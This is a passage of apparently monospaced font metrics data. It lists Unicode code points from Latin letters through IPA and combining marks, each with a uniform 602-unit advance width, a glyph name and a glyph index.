U 68 ; WX 602 ; N D ; G 39
U 69 ; WX 602 ; N E ; G 40
U 70 ; WX 602 ; N F ; G 41
U 71 ; WX 602 ; N G ; G 42
U 72 ; WX 602 ; N H ; G 43
U 73 ; WX 602 ; N I ; G 44
U 74 ; WX 602 ; N J ; G 45
U 75 ; WX 602 ; N K ; G 46
U 76 ; WX 602 ; N L ; G 47
U 77 ; WX 602 ; N M ; G 48
U 78 ; WX 602 ; N N ; G 49
U 79 ; WX 602 ; N O ; G 50
U 80 ; WX 602 ; N P ; G 51
U 81 ; WX 602 ; N Q ; G 52
U 82 ; WX 602 ; N R ; G 53
U 83 ; WX 602 ; N S ; G 54
U 84 ; WX 602 ; N T ; G 55
U 85 ; WX 602 ; N U ; G 56
U 86 ; WX 602 ; N V ; G 57
U 87 ; WX 602 ; N W ; G 58
U 88 ; WX 602 ; N X ; G 59
U 89 ; WX 602 ; N Y ; G 60
U 90 ; WX 602 ; N Z ; G 61
U 91 ; WX 602 ; N bracketleft ; G 62
U 92 ; WX 602 ; N backslash ; G 63
U 93 ; WX 602 ; N bracketright ; G 64
U 94 ; WX 602 ; N asciicircum ; G 65
U 95 ; WX 602 ; N underscore ; G 66
U 96 ; WX 602 ; N grave ; G 67
U 97 ; WX 602 ; N a ; G 68
U 98 ; WX 602 ; N b ; G 69
U 99 ; WX 602 ; N c ; G 70
U 100 ; WX 602 ; N d ; G 71
U 101 ; WX 602 ; N e ; G 72
U 102 ; WX 602 ; N f ; G 73
U 103 ; WX 602 ; N g ; G 74
U 104 ; WX 602 ; N h ; G 75
U 105 ; WX 602 ; N i ; G 76
U 106 ; WX 602 ; N j ; G 77
U 107 ; WX 602 ; N k ; G 78
U 108 ; WX 602 ; N l ; G 79
U 109 ; WX 602 ; N m ; G 80
U 110 ; WX 602 ; N n ; G 81
U 111 ; WX 602 ; N o ; G 82
U 112 ; WX 602 ; N p ; G 83
U 113 ; WX 602 ; N q ; G 84
U 114 ; WX 602 ; N r ; G 85
U 115 ; WX 602 ; N s ; G 86
U 116 ; WX 602 ; N t ; G 87
U 117 ; WX 602 ; N u ; G 88
U 118 ; WX 602 ; N v ; G 89
U 119 ; WX 602 ; N w ; G 90
U 120 ; WX 602 ; N x ; G 91
U 121 ; WX 602 ; N y ; G 92
U 122 ; WX 602 ; N z ; G 93
U 123 ; WX 602 ; N braceleft ; G 94
U 124 ; WX 602 ; N bar ; G 95
U 125 ; WX 602 ; N braceright ; G 96
U 126 ; WX 602 ; N asciitilde ; G 97
U 160 ; WX 602 ; N nbspace ; G 98
U 161 ; WX 602 ; N exclamdown ; G 99
U 162 ; WX 602 ; N cent ; G 100
U 163 ; WX 602 ; N sterling ; G 101
U 164 ; WX 602 ; N currency ; G 102
U 165 ; WX 602 ; N yen ; G 103
U 166 ; WX 602 ; N brokenbar ; G 104
U 167 ; WX 602 ; N section ; G 105
U 168 ; WX 602 ; N dieresis ; G 106
U 169 ; WX 602 ; N copyright ; G 107
U 170 ; WX 602 ; N ordfeminine ; G 108
U 171 ; WX 602 ; N guillemotleft ; G 109
U 172 ; WX 602 ; N logicalnot ; G 110
U 173 ; WX 602 ; N sfthyphen ; G 111
U 174 ; WX 602 ; N registered ; G 112
U 175 ; WX 602 ; N macron ; G 113
U 176 ; WX 602 ; N degree ; G 114
U 177 ; WX 602 ; N plusminus ; G 115
U 178 ; WX 602 ; N twosuperior ; G 116
U 179 ; WX 602 ; N threesuperior ; G 117
U 180 ; WX 602 ; N acute ; G 118
U 181 ; WX 602 ; N mu ; G 119
U 182 ; WX 602 ; N paragraph ; G 120
U 183 ; WX 602 ; N periodcentered ; G 121
U 184 ; WX 602 ; N cedilla ; G 122
U 185 ; WX 602 ; N onesuperior ; G 123
U 186 ; WX 602 ; N ordmasculine ; G 124
U 187 ; WX 602 ; N guillemotright ; G 125
U 188 ; WX 602 ; N onequarter ; G 126
U 189 ; WX 602 ; N onehalf ; G 127
U 190 ; WX 602 ; N threequarters ; G 128
U 191 ; WX 602 ; N questiondown ; G 129
U 192 ; WX 602 ; N Agrave ; G 130
U 193 ; WX 602 ; N Aacute ; G 131
U 194 ; WX 602 ; N Acircumflex ; G 132
U 195 ; WX 602 ; N Atilde ; G 133
U 196 ; WX 602 ; N Adieresis ; G 134
U 197 ; WX 602 ; N Aring ; G 135
U 198 ; WX 602 ; N AE ; G 136
U 199 ; WX 602 ; N Ccedilla ; G 137
U 200 ; WX 602 ; N Egrave ; G 138
U 201 ; WX 602 ; N Eacute ; G 139
U 202 ; WX 602 ; N Ecircumflex ; G 140
U 203 ; WX 602 ; N Edieresis ; G 141
U 204 ; WX 602 ; N Igrave ; G 142
U 205 ; WX 602 ; N Iacute ; G 143
U 206 ; WX 602 ; N Icircumflex ; G 144
U 207 ; WX 602 ; N Idieresis ; G 145
U 208 ; WX 602 ; N Eth ; G 146
U 209 ; WX 602 ; N Ntilde ; G 147
U 210 ; WX 602 ; N Ograve ; G 148
U 211 ; WX 602 ; N Oacute ; G 149
U 212 ; WX 602 ; N Ocircumflex ; G 150
U 213 ; WX 602 ; N Otilde ; G 151
U 214 ; WX 602 ; N Odieresis ; G 152
U 215 ; WX 602 ; N multiply ; G 153
U 216 ; WX 602 ; N Oslash ; G 154
U 217 ; WX 602 ; N Ugrave ; G 155
U 218 ; WX 602 ; N Uacute ; G 156
U 219 ; WX 602 ; N Ucircumflex ; G 157
U 220 ; WX 602 ; N Udieresis ; G 158
U 221 ; WX 602 ; N Yacute ; G 159
U 222 ; WX 602 ; N Thorn ; G 160
U 223 ; WX 602 ; N germandbls ; G 161
U 224 ; WX 602 ; N agrave ; G 162
U 225 ; WX 602 ; N aacute ; G 163
U 226 ; WX 602 ; N acircumflex ; G 164
U 227 ; WX 602 ; N atilde ; G 165
U 228 ; WX 602 ; N adieresis ; G 166
U 229 ; WX 602 ; N aring ; G 167
U 230 ; WX 602 ; N ae ; G 168
U 231 ; WX 602 ; N ccedilla ; G 169
U 232 ; WX 602 ; N egrave ; G 170
U 233 ; WX 602 ; N eacute ; G 171
U 234 ; WX 602 ; N ecircumflex ; G 172
U 235 ; WX 602 ; N edieresis ; G 173
U 236 ; WX 602 ; N igrave ; G 174
U 237 ; WX 602 ; N iacute ; G 175
U 238 ; WX 602 ; N icircumflex ; G 176
U 239 ; WX 602 ; N idieresis ; G 177
U 240 ; WX 602 ; N eth ; G 178
U 241 ; WX 602 ; N ntilde ; G 179
U 242 ; WX 602 ; N ograve ; G 180
U 243 ; WX 602 ; N oacute ; G 181
U 244 ; WX 602 ; N ocircumflex ; G 182
U 245 ; WX 602 ; N otilde ; G 183
U 246 ; WX 602 ; N odieresis ; G 184
U 247 ; WX 602 ; N divide ; G 185
U 248 ; WX 602 ; N oslash ; G 186
U 249 ; WX 602 ; N ugrave ; G 187
U 250 ; WX 602 ; N uacute ; G 188
U 251 ; WX 602 ; N ucircumflex ; G 189
U 252 ; WX 602 ; N udieresis ; G 190
U 253 ; WX 602 ; N yacute ; G 191
U 254 ; WX 602 ; N thorn ; G 192
U 255 ; WX 602 ; N ydieresis ; G 193
U 256 ; WX 602 ; N Amacron ; G 194
U 257 ; WX 602 ; N amacron ; G 195
U 258 ; WX 602 ; N Abreve ; G 196
U 259 ; WX 602 ; N abreve ; G 197
U 260 ; WX 602 ; N Aogonek ; G 198
U 261 ; WX 602 ; N aogonek ; G 199
U 262 ; WX 602 ; N Cacute ; G 200
U 263 ; WX 602 ; N cacute ; G 201
U 264 ; WX 602 ; N Ccircumflex ; G 202
U 265 ; WX 602 ; N ccircumflex ; G 203
U 266 ; WX 602 ; N Cdotaccent ; G 204
U 267 ; WX 602 ; N cdotaccent ; G 205
U 268 ; WX 602 ; N Ccaron ; G 206
U 269 ; WX 602 ; N ccaron ; G 207
U 270 ; WX 602 ; N Dcaron ; G 208
U 271 ; WX 602 ; N dcaron ; G 209
U 272 ; WX 602 ; N Dcroat ; G 210
U 273 ; WX 602 ; N dmacron ; G 211
U 274 ; WX 602 ; N Emacron ; G 212
U 275 ; WX 602 ; N emacron ; G 213
U 276 ; WX 602 ; N Ebreve ; G 214
U 277 ; WX 602 ; N ebreve ; G 215
U 278 ; WX 602 ; N Edotaccent ; G 216
U 279 ; WX 602 ; N edotaccent ; G 217
U 280 ; WX 602 ; N Eogonek ; G 218
U 281 ; WX 602 ; N eogonek ; G 219
U 282 ; WX 602 ; N Ecaron ; G 220
U 283 ; WX 602 ; N ecaron ; G 221
U 284 ; WX 602 ; N Gcircumflex ; G 222
U 285 ; WX 602 ; N gcircumflex ; G 223
U 286 ; WX 602 ; N Gbreve ; G 224
U 287 ; WX 602 ; N gbreve ; G 225
U 288 ; WX 602 ; N Gdotaccent ; G 226
U 289 ; WX 602 ; N gdotaccent ; G 227
U 290 ; WX 602 ; N Gcommaaccent ; G 228
U 291 ; WX 602 ; N gcommaaccent ; G 229
U 292 ; WX 602 ; N Hcircumflex ; G 230
U 293 ; WX 602 ; N hcircumflex ; G 231
U 294 ; WX 602 ; N Hbar ; G 232
U 295 ; WX 602 ; N hbar ; G 233
U 296 ; WX 602 ; N Itilde ; G 234
U 297 ; WX 602 ; N itilde ; G 235
U 298 ; WX 602 ; N Imacron ; G 236
U 299 ; WX 602 ; N imacron ; G 237
U 300 ; WX 602 ; N Ibreve ; G 238
U 301 ; WX 602 ; N ibreve ; G 239
U 302 ; WX 602 ; N Iogonek ; G 240
U 303 ; WX 602 ; N iogonek ; G 241
U 304 ; WX 602 ; N Idot ; G 242
U 305 ; WX 602 ; N dotlessi ; G 243
U 306 ; WX 602 ; N IJ ; G 244
U 307 ; WX 602 ; N ij ; G 245
U 308 ; WX 602 ; N Jcircumflex ; G 246
U 309 ; WX 602 ; N jcircumflex ; G 247
U 310 ; WX 602 ; N Kcommaaccent ; G 248
U 311 ; WX 602 ; N kcommaaccent ; G 249
U 312 ; WX 602 ; N kgreenlandic ; G 250
U 313 ; WX 602 ; N Lacute ; G 251
U 314 ; WX 602 ; N lacute ; G 252
U 315 ; WX 602 ; N Lcommaaccent ; G 253
U 316 ; WX 602 ; N lcommaaccent ; G 254
U 317 ; WX 602 ; N Lcaron ; G 255
U 318 ; WX 602 ; N lcaron ; G 256
U 319 ; WX 602 ; N Ldot ; G 257
U 320 ; WX 602 ; N ldot ; G 258
U 321 ; WX 602 ; N Lslash ; G 259
U 322 ; WX 602 ; N lslash ; G 260
U 323 ; WX 602 ; N Nacute ; G 261
U 324 ; WX 602 ; N nacute ; G 262
U 325 ; WX 602 ; N Ncommaaccent ; G 263
U 326 ; WX 602 ; N ncommaaccent ; G 264
U 327 ; WX 602 ; N Ncaron ; G 265
U 328 ; WX 602 ; N ncaron ; G 266
U 329 ; WX 602 ; N napostrophe ; G 267
U 330 ; WX 602 ; N Eng ; G 268
U 331 ; WX 602 ; N eng ; G 269
U 332 ; WX 602 ; N Omacron ; G 270
U 333 ; WX 602 ; N omacron ; G 271
U 334 ; WX 602 ; N Obreve ; G 272
U 335 ; WX 602 ; N obreve ; G 273
U 336 ; WX 602 ; N Ohungarumlaut ; G 274
U 337 ; WX 602 ; N ohungarumlaut ; G 275
U 338 ; WX 602 ; N OE ; G 276
U 339 ; WX 602 ; N oe ; G 277
U 340 ; WX 602 ; N Racute ; G 278
U 341 ; WX 602 ; N racute ; G 279
U 342 ; WX 602 ; N Rcommaaccent ; G 280
U 343 ; WX 602 ; N rcommaaccent ; G 281
U 344 ; WX 602 ; N Rcaron ; G 282
U 345 ; WX 602 ; N rcaron ; G 283
U 346 ; WX 602 ; N Sacute ; G 284
U 347 ; WX 602 ; N sacute ; G 285
U 348 ; WX 602 ; N Scircumflex ; G 286
U 349 ; WX 602 ; N scircumflex ; G 287
U 350 ; WX 602 ; N Scedilla ; G 288
U 351 ; WX 602 ; N scedilla ; G 289
U 352 ; WX 602 ; N Scaron ; G 290
U 353 ; WX 602 ; N scaron ; G 291
U 354 ; WX 602 ; N Tcommaaccent ; G 292
U 355 ; WX 602 ; N tcommaaccent ; G 293
U 356 ; WX 602 ; N Tcaron ; G 294
U 357 ; WX 602 ; N tcaron ; G 295
U 358 ; WX 602 ; N Tbar ; G 296
U 359 ; WX 602 ; N tbar ; G 297
U 360 ; WX 602 ; N Utilde ; G 298
U 361 ; WX 602 ; N utilde ; G 299
U 362 ; WX 602 ; N Umacron ; G 300
U 363 ; WX 602 ; N umacron ; G 301
U 364 ; WX 602 ; N Ubreve ; G 302
U 365 ; WX 602 ; N ubreve ; G 303
U 366 ; WX 602 ; N Uring ; G 304
U 367 ; WX 602 ; N uring ; G 305
U 368 ; WX 602 ; N Uhungarumlaut ; G 306
U 369 ; WX 602 ; N uhungarumlaut ; G 307
U 370 ; WX 602 ; N Uogonek ; G 308
U 371 ; WX 602 ; N uogonek ; G 309
U 372 ; WX 602 ; N Wcircumflex ; G 310
U 373 ; WX 602 ; N wcircumflex ; G 311
U 374 ; WX 602 ; N Ycircumflex ; G 312
U 375 ; WX 602 ; N ycircumflex ; G 313
U 376 ; WX 602 ; N Ydieresis ; G 314
U 377 ; WX 602 ; N Zacute ; G 315
U 378 ; WX 602 ; N zacute ; G 316
U 379 ; WX 602 ; N Zdotaccent ; G 317
U 380 ; WX 602 ; N zdotaccent ; G 318
U 381 ; WX 602 ; N Zcaron ; G 319
U 382 ; WX 602 ; N zcaron ; G 320
U 383 ; WX 602 ; N longs ; G 321
U 384 ; WX 602 ; N uni0180 ; G 322
U 385 ; WX 602 ; N uni0181 ; G 323
U 386 ; WX 602 ; N uni0182 ; G 324
U 387 ; WX 602 ; N uni0183 ; G 325
U 388 ; WX 602 ; N uni0184 ; G 326
U 389 ; WX 602 ; N uni0185 ; G 327
U 390 ; WX 602 ; N uni0186 ; G 328
U 391 ; WX 602 ; N uni0187 ; G 329
U 392 ; WX 602 ; N uni0188 ; G 330
U 393 ; WX 602 ; N uni0189 ; G 331
U 394 ; WX 602 ; N uni018A ; G 332
U 395 ; WX 602 ; N uni018B ; G 333
U 396 ; WX 602 ; N uni018C ; G 334
U 397 ; WX 602 ; N uni018D ; G 335
U 398 ; WX 602 ; N uni018E ; G 336
U 399 ; WX 602 ; N uni018F ; G 337
U 400 ; WX 602 ; N uni0190 ; G 338
U 401 ; WX 602 ; N uni0191 ; G 339
U 402 ; WX 602 ; N florin ; G 340
U 403 ; WX 602 ; N uni0193 ; G 341
U 404 ; WX 602 ; N uni0194 ; G 342
U 405 ; WX 602 ; N uni0195 ; G 343
U 406 ; WX 602 ; N uni0196 ; G 344
U 407 ; WX 602 ; N uni0197 ; G 345
U 408 ; WX 602 ; N uni0198 ; G 346
U 409 ; WX 602 ; N uni0199 ; G 347
U 410 ; WX 602 ; N uni019A ; G 348
U 411 ; WX 602 ; N uni019B ; G 349
U 412 ; WX 602 ; N uni019C ; G 350
U 413 ; WX 602 ; N uni019D ; G 351
U 414 ; WX 602 ; N uni019E ; G 352
U 415 ; WX 602 ; N uni019F ; G 353
U 416 ; WX 602 ; N Ohorn ; G 354
U 417 ; WX 602 ; N ohorn ; G 355
U 418 ; WX 602 ; N uni01A2 ; G 356
U 419 ; WX 602 ; N uni01A3 ; G 357
U 420 ; WX 602 ; N uni01A4 ; G 358
U 421 ; WX 602 ; N uni01A5 ; G 359
U 422 ; WX 602 ; N uni01A6 ; G 360
U 423 ; WX 602 ; N uni01A7 ; G 361
U 424 ; WX 602 ; N uni01A8 ; G 362
U 425 ; WX 602 ; N uni01A9 ; G 363
U 426 ; WX 602 ; N uni01AA ; G 364
U 427 ; WX 602 ; N uni01AB ; G 365
U 428 ; WX 602 ; N uni01AC ; G 366
U 429 ; WX 602 ; N uni01AD ; G 367
U 430 ; WX 602 ; N uni01AE ; G 368
U 431 ; WX 602 ; N Uhorn ; G 369
U 432 ; WX 602 ; N uhorn ; G 370
U 433 ; WX 602 ; N uni01B1 ; G 371
U 434 ; WX 602 ; N uni01B2 ; G 372
U 435 ; WX 602 ; N uni01B3 ; G 373
U 436 ; WX 602 ; N uni01B4 ; G 374
U 437 ; WX 602 ; N uni01B5 ; G 375
U 438 ; WX 602 ; N uni01B6 ; G 376
U 439 ; WX 602 ; N uni01B7 ; G 377
U 440 ; WX 602 ; N uni01B8 ; G 378
U 441 ; WX 602 ; N uni01B9 ; G 379
U 442 ; WX 602 ; N uni01BA ; G 380
U 443 ; WX 602 ; N uni01BB ; G 381
U 444 ; WX 602 ; N uni01BC ; G 382
U 445 ; WX 602 ; N uni01BD ; G 383
U 446 ; WX 602 ; N uni01BE ; G 384
U 447 ; WX 602 ; N uni01BF ; G 385
U 448 ; WX 602 ; N uni01C0 ; G 386
U 449 ; WX 602 ; N uni01C1 ; G 387
U 450 ; WX 602 ; N uni01C2 ; G 388
U 451 ; WX 602 ; N uni01C3 ; G 389
U 461 ; WX 602 ; N uni01CD ; G 390
U 462 ; WX 602 ; N uni01CE ; G 391
U 463 ; WX 602 ; N uni01CF ; G 392
U 464 ; WX 602 ; N uni01D0 ; G 393
U 465 ; WX 602 ; N uni01D1 ; G 394
U 466 ; WX 602 ; N uni01D2 ; G 395
U 467 ; WX 602 ; N uni01D3 ; G 396
U 468 ; WX 602 ; N uni01D4 ; G 397
U 469 ; WX 602 ; N uni01D5 ; G 398
U 470 ; WX 602 ; N uni01D6 ; G 399
U 471 ; WX 602 ; N uni01D7 ; G 400
U 472 ; WX 602 ; N uni01D8 ; G 401
U 473 ; WX 602 ; N uni01D9 ; G 402
U 474 ; WX 602 ; N uni01DA ; G 403
U 475 ; WX 602 ; N uni01DB ; G 404
U 476 ; WX 602 ; N uni01DC ; G 405
U 477 ; WX 602 ; N uni01DD ; G 406
U 478 ; WX 602 ; N uni01DE ; G 407
U 479 ; WX 602 ; N uni01DF ; G 408
U 480 ; WX 602 ; N uni01E0 ; G 409
U 481 ; WX 602 ; N uni01E1 ; G 410
U 482 ; WX 602 ; N uni01E2 ; G 411
U 483 ; WX 602 ; N uni01E3 ; G 412
U 486 ; WX 602 ; N Gcaron ; G 413
U 487 ; WX 602 ; N gcaron ; G 414
U 488 ; WX 602 ; N uni01E8 ; G 415
U 489 ; WX 602 ; N uni01E9 ; G 416
U 490 ; WX 602 ; N uni01EA ; G 417
U 491 ; WX 602 ; N uni01EB ; G 418
U 492 ; WX 602 ; N uni01EC ; G 419
U 493 ; WX 602 ; N uni01ED ; G 420
U 494 ; WX 602 ; N uni01EE ; G 421
U 495 ; WX 602 ; N uni01EF ; G 422
U 500 ; WX 602 ; N uni01F4 ; G 423
U 501 ; WX 602 ; N uni01F5 ; G 424
U 502 ; WX 602 ; N uni01F6 ; G 425
U 504 ; WX 602 ; N uni01F8 ; G 426
U 505 ; WX 602 ; N uni01F9 ; G 427
U 508 ; WX 602 ; N AEacute ; G 428
U 509 ; WX 602 ; N aeacute ; G 429
U 510 ; WX 602 ; N Oslashacute ; G 430
U 511 ; WX 602 ; N oslashacute ; G 431
U 512 ; WX 602 ; N uni0200 ; G 432
U 513 ; WX 602 ; N uni0201 ; G 433
U 514 ; WX 602 ; N uni0202 ; G 434
U 515 ; WX 602 ; N uni0203 ; G 435
U 516 ; WX 602 ; N uni0204 ; G 436
U 517 ; WX 602 ; N uni0205 ; G 437
U 518 ; WX 602 ; N uni0206 ; G 438
U 519 ; WX 602 ; N uni0207 ; G 439
U 520 ; WX 602 ; N uni0208 ; G 440
U 521 ; WX 602 ; N uni0209 ; G 441
U 522 ; WX 602 ; N uni020A ; G 442
U 523 ; WX 602 ; N uni020B ; G 443
U 524 ; WX 602 ; N uni020C ; G 444
U 525 ; WX 602 ; N uni020D ; G 445
U 526 ; WX 602 ; N uni020E ; G 446
U 527 ; WX 602 ; N uni020F ; G 447
U 528 ; WX 602 ; N uni0210 ; G 448
U 529 ; WX 602 ; N uni0211 ; G 449
U 530 ; WX 602 ; N uni0212 ; G 450
U 531 ; WX 602 ; N uni0213 ; G 451
U 532 ; WX 602 ; N uni0214 ; G 452
U 533 ; WX 602 ; N uni0215 ; G 453
U 534 ; WX 602 ; N uni0216 ; G 454
U 535 ; WX 602 ; N uni0217 ; G 455
U 536 ; WX 602 ; N Scommaaccent ; G 456
U 537 ; WX 602 ; N scommaaccent ; G 457
U 538 ; WX 602 ; N uni021A ; G 458
U 539 ; WX 602 ; N uni021B ; G 459
U 540 ; WX 602 ; N uni021C ; G 460
U 541 ; WX 602 ; N uni021D ; G 461
U 542 ; WX 602 ; N uni021E ; G 462
U 543 ; WX 602 ; N uni021F ; G 463
U 545 ; WX 602 ; N uni0221 ; G 464
U 548 ; WX 602 ; N uni0224 ; G 465
U 549 ; WX 602 ; N uni0225 ; G 466
U 550 ; WX 602 ; N uni0226 ; G 467
U 551 ; WX 602 ; N uni0227 ; G 468
U 552 ; WX 602 ; N uni0228 ; G 469
U 553 ; WX 602 ; N uni0229 ; G 470
U 554 ; WX 602 ; N uni022A ; G 471
U 555 ; WX 602 ; N uni022B ; G 472
U 556 ; WX 602 ; N uni022C ; G 473
U 557 ; WX 602 ; N uni022D ; G 474
U 558 ; WX 602 ; N uni022E ; G 475
U 559 ; WX 602 ; N uni022F ; G 476
U 560 ; WX 602 ; N uni0230 ; G 477
U 561 ; WX 602 ; N uni0231 ; G 478
U 562 ; WX 602 ; N uni0232 ; G 479
U 563 ; WX 602 ; N uni0233 ; G 480
U 564 ; WX 602 ; N uni0234 ; G 481
U 565 ; WX 602 ; N uni0235 ; G 482
U 566 ; WX 602 ; N uni0236 ; G 483
U 567 ; WX 602 ; N dotlessj ; G 484
U 568 ; WX 602 ; N uni0238 ; G 485
U 569 ; WX 602 ; N uni0239 ; G 486
U 570 ; WX 602 ; N uni023A ; G 487
U 571 ; WX 602 ; N uni023B ; G 488
U 572 ; WX 602 ; N uni023C ; G 489
U 573 ; WX 602 ; N uni023D ; G 490
U 574 ; WX 602 ; N uni023E ; G 491
U 575 ; WX 602 ; N uni023F ; G 492
U 576 ; WX 602 ; N uni0240 ; G 493
U 577 ; WX 602 ; N uni0241 ; G 494
U 579 ; WX 602 ; N uni0243 ; G 495
U 580 ; WX 602 ; N uni0244 ; G 496
U 581 ; WX 602 ; N uni0245 ; G 497
U 588 ; WX 602 ; N uni024C ; G 498
U 589 ; WX 602 ; N uni024D ; G 499
U 592 ; WX 602 ; N uni0250 ; G 500
U 593 ; WX 602 ; N uni0251 ; G 501
U 594 ; WX 602 ; N uni0252 ; G 502
U 595 ; WX 602 ; N uni0253 ; G 503
U 596 ; WX 602 ; N uni0254 ; G 504
U 597 ; WX 602 ; N uni0255 ; G 505
U 598 ; WX 602 ; N uni0256 ; G 506
U 599 ; WX 602 ; N uni0257 ; G 507
U 600 ; WX 602 ; N uni0258 ; G 508
U 601 ; WX 602 ; N uni0259 ; G 509
U 602 ; WX 602 ; N uni025A ; G 510
U 603 ; WX 602 ; N uni025B ; G 511
U 604 ; WX 602 ; N uni025C ; G 512
U 605 ; WX 602 ; N uni025D ; G 513
U 606 ; WX 602 ; N uni025E ; G 514
U 607 ; WX 602 ; N uni025F ; G 515
U 608 ; WX 602 ; N uni0260 ; G 516
U 609 ; WX 602 ; N uni0261 ; G 517
U 610 ; WX 602 ; N uni0262 ; G 518
U 611 ; WX 602 ; N uni0263 ; G 519
U 612 ; WX 602 ; N uni0264 ; G 520
U 613 ; WX 602 ; N uni0265 ; G 521
U 614 ; WX 602 ; N uni0266 ; G 522
U 615 ; WX 602 ; N uni0267 ; G 523
U 616 ; WX 602 ; N uni0268 ; G 524
U 617 ; WX 602 ; N uni0269 ; G 525
U 618 ; WX 602 ; N uni026A ; G 526
U 619 ; WX 602 ; N uni026B ; G 527
U 620 ; WX 602 ; N uni026C ; G 528
U 621 ; WX 602 ; N uni026D ; G 529
U 622 ; WX 602 ; N uni026E ; G 530
U 623 ; WX 602 ; N uni026F ; G 531
U 624 ; WX 602 ; N uni0270 ; G 532
U 625 ; WX 602 ; N uni0271 ; G 533
U 626 ; WX 602 ; N uni0272 ; G 534
U 627 ; WX 602 ; N uni0273 ; G 535
U 628 ; WX 602 ; N uni0274 ; G 536
U 629 ; WX 602 ; N uni0275 ; G 537
U 630 ; WX 602 ; N uni0276 ; G 538
U 631 ; WX 602 ; N uni0277 ; G 539
U 632 ; WX 602 ; N uni0278 ; G 540
U 633 ; WX 602 ; N uni0279 ; G 541
U 634 ; WX 602 ; N uni027A ; G 542
U 635 ; WX 602 ; N uni027B ; G 543
U 636 ; WX 602 ; N uni027C ; G 544
U 637 ; WX 602 ; N uni027D ; G 545
U 638 ; WX 602 ; N uni027E ; G 546
U 639 ; WX 602 ; N uni027F ; G 547
U 640 ; WX 602 ; N uni0280 ; G 548
U 641 ; WX 602 ; N uni0281 ; G 549
U 642 ; WX 602 ; N uni0282 ; G 550
U 643 ; WX 602 ; N uni0283 ; G 551
U 644 ; WX 602 ; N uni0284 ; G 552
U 645 ; WX 602 ; N uni0285 ; G 553
U 646 ; WX 602 ; N uni0286 ; G 554
U 647 ; WX 602 ; N uni0287 ; G 555
U 648 ; WX 602 ; N uni0288 ; G 556
U 649 ; WX 602 ; N uni0289 ; G 557
U 650 ; WX 602 ; N uni028A ; G 558
U 651 ; WX 602 ; N uni028B ; G 559
U 652 ; WX 602 ; N uni028C ; G 560
U 653 ; WX 602 ; N uni028D ; G 561
U 654 ; WX 602 ; N uni028E ; G 562
U 655 ; WX 602 ; N uni028F ; G 563
U 656 ; WX 602 ; N uni0290 ; G 564
U 657 ; WX 602 ; N uni0291 ; G 565
U 658 ; WX 602 ; N uni0292 ; G 566
U 659 ; WX 602 ; N uni0293 ; G 567
U 660 ; WX 602 ; N uni0294 ; G 568
U 661 ; WX 602 ; N uni0295 ; G 569
U 662 ; WX 602 ; N uni0296 ; G 570
U 663 ; WX 602 ; N uni0297 ; G 571
U 664 ; WX 602 ; N uni0298 ; G 572
U 665 ; WX 602 ; N uni0299 ; G 573
U 666 ; WX 602 ; N uni029A ; G 574
U 667 ; WX 602 ; N uni029B ; G 575
U 668 ; WX 602 ; N uni029C ; G 576
U 669 ; WX 602 ; N uni029D ; G 577
U 670 ; WX 602 ; N uni029E ; G 578
U 671 ; WX 602 ; N uni029F ; G 579
U 672 ; WX 602 ; N uni02A0 ; G 580
U 673 ; WX 602 ; N uni02A1 ; G 581
U 674 ; WX 602 ; N uni02A2 ; G 582
U 675 ; WX 602 ; N uni02A3 ; G 583
U 676 ; WX 602 ; N uni02A4 ; G 584
U 677 ; WX 602 ; N uni02A5 ; G 585
U 678 ; WX 602 ; N uni02A6 ; G 586
U 679 ; WX 602 ; N uni02A7 ; G 587
U 680 ; WX 602 ; N uni02A8 ; G 588
U 681 ; WX 602 ; N uni02A9 ; G 589
U 682 ; WX 602 ; N uni02AA ; G 590
U 683 ; WX 602 ; N uni02AB ; G 591
U 684 ; WX 602 ; N uni02AC ; G 592
U 685 ; WX 602 ; N uni02AD ; G 593
U 686 ; WX 602 ; N uni02AE ; G 594
U 687 ; WX 602 ; N uni02AF ; G 595
U 688 ; WX 602 ; N uni02B0 ; G 596
U 689 ; WX 602 ; N uni02B1 ; G 597
U 690 ; WX 602 ; N uni02B2 ; G 598
U 691 ; WX 602 ; N uni02B3 ; G 599
U 692 ; WX 602 ; N uni02B4 ; G 600
U 693 ; WX 602 ; N uni02B5 ; G 601
U 694 ; WX 602 ; N uni02B6 ; G 602
U 695 ; WX 602 ; N uni02B7 ; G 603
U 696 ; WX 602 ; N uni02B8 ; G 604
U 697 ; WX 602 ; N uni02B9 ; G 605
U 699 ; WX 602 ; N uni02BB ; G 606
U 700 ; WX 602 ; N uni02BC ; G 607
U 701 ; WX 602 ; N uni02BD ; G 608
U 702 ; WX 602 ; N uni02BE ; G 609
U 703 ; WX 602 ; N uni02BF ; G 610
U 704 ; WX 602 ; N uni02C0 ; G 611
U 705 ; WX 602 ; N uni02C1 ; G 612
U 710 ; WX 602 ; N circumflex ; G 613
U 711 ; WX 602 ; N caron ; G 614
U 712 ; WX 602 ; N uni02C8 ; G 615
U 713 ; WX 602 ; N uni02C9 ; G 616
U 716 ; WX 602 ; N uni02CC ; G 617
U 717 ; WX 602 ; N uni02CD ; G 618
U 718 ; WX 602 ; N uni02CE ; G 619
U 719 ; WX 602 ; N uni02CF ; G 620
U 720 ; WX 602 ; N uni02D0 ; G 621
U 721 ; WX 602 ; N uni02D1 ; G 622
U 722 ; WX 602 ; N uni02D2 ; G 623
U 723 ; WX 602 ; N uni02D3 ; G 624
U 726 ; WX 602 ; N uni02D6 ; G 625
U 727 ; WX 602 ; N uni02D7 ; G 626
U 728 ; WX 602 ; N breve ; G 627
U 729 ; WX 602 ; N dotaccent ; G 628
U 730 ; WX 602 ; N ring ; G 629
U 731 ; WX 602 ; N ogonek ; G 630
U 732 ; WX 602 ; N tilde ; G 631
U 733 ; WX 602 ; N hungarumlaut ; G 632
U 734 ; WX 602 ; N uni02DE ; G 633
U 736 ; WX 602 ; N uni02E0 ; G 634
U 737 ; WX 602 ; N uni02E1 ; G 635
U 738 ; WX 602 ; N uni02E2 ; G 636
U 739 ; WX 602 ; N uni02E3 ; G 637
U 740 ; WX 602 ; N uni02E4 ; G 638
U 741 ; WX 602 ; N uni02E5 ; G 639
U 742 ; WX 602 ; N uni02E6 ; G 640
U 743 ; WX 602 ; N uni02E7 ; G 641
U 744 ; WX 602 ; N uni02E8 ; G 642
U 745 ; WX 602 ; N uni02E9 ; G 643
U 750 ; WX 602 ; N uni02EE ; G 644
U 755 ; WX 602 ; N uni02F3 ; G 645
U 768 ; WX 602 ; N gravecomb ; G 646
U 769 ; WX 602 ; N acutecomb ; G 647
U 770 ; WX 602 ; N uni0302 ; G 648
U 771 ; WX 602 ; N tildecomb ; G 649
U 772 ; WX 602 ; N uni0304 ; G 650
U 773 ; WX 602 ; N uni0305 ; G 651
